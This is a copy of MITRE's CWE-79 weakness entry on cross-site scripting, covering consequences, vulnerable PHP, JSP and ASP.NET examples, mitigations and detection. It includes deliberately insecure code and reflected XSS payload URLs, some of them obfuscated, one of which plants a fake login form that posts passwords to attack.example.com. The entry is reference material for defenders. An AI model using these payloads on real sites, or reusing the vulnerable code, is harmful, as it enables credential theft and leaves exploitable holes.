ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.87Improper Neutralization of Alternate XSS Syntax
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.692Incomplete Blacklist to Cross-Site Scripting
PeerOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
PeerOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.494Download of Code Without Integrity Check
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.184Incomplete Blacklist
CanPrecedeBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.494Download of Code Without Integrity Check
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.442Web Problems
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.84Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.87Improper Neutralization of Alternate XSS Syntax
+ Background Details
Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Paradigms

Web Based (Often Prevalent)

Technologies

Web Server (Often Prevalent)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(bad code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)
 
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)
Example Language: JSP 
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)
Example Language: PHP 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {
exit;
}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)
Example Language: PHP 
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)
 
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:

(result)
 
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

+ Observed Examples
ReferenceDescription
Admin GUI allows XSS through cookie.
Web stats program allows XSS through crafted HTTP header.
Web log analysis product allows XSS through crafted HTTP Referer header.
Chain: protection mechanism failure allows XSS
Chain: incomplete blacklist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
Chain: incomplete blacklist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
Reflected XSS using the PATH_INFO in a URL
Reflected XSS not properly handled when generating an error message
Reflected XSS sent through email message.
Stored XSS in a security product.
Stored XSS using a wiki page.
Stored XSS in a guestbook application.
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.712OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.725OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.811OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.931OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1033OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
+ Notes

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-site scripting (XSS)
7 Pernicious KingdomsCross-site Scripting
CLASPCross-site scripting
OWASP Top Ten 2007A1ExactCross Site Scripting (XSS)
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A4ExactCross-Site Scripting (XSS) Flaws
WASC8Cross-site Scripting
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-79
+ References
[REF-709] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. <http://en.wikipedia.org/wiki/Cross-site_scripting>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <http://msdn.microsoft.com/en-us/library/ms533046.aspx>.
[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-718] Ivan Ristic. "XSS Defense HOWTO". <http://blog.modsecurity.org/2008/07/do-you-know-how.html>.
[REF-719] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html>.
[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[REF-723] "Apache Wicket". <http://wicket.apache.org/>.
[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.
[REF-956] Wikipedia. "Samy (computer worm)". 2018-01-16. <https://en.wikipedia.org/wiki/Samy_(computer_worm)>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
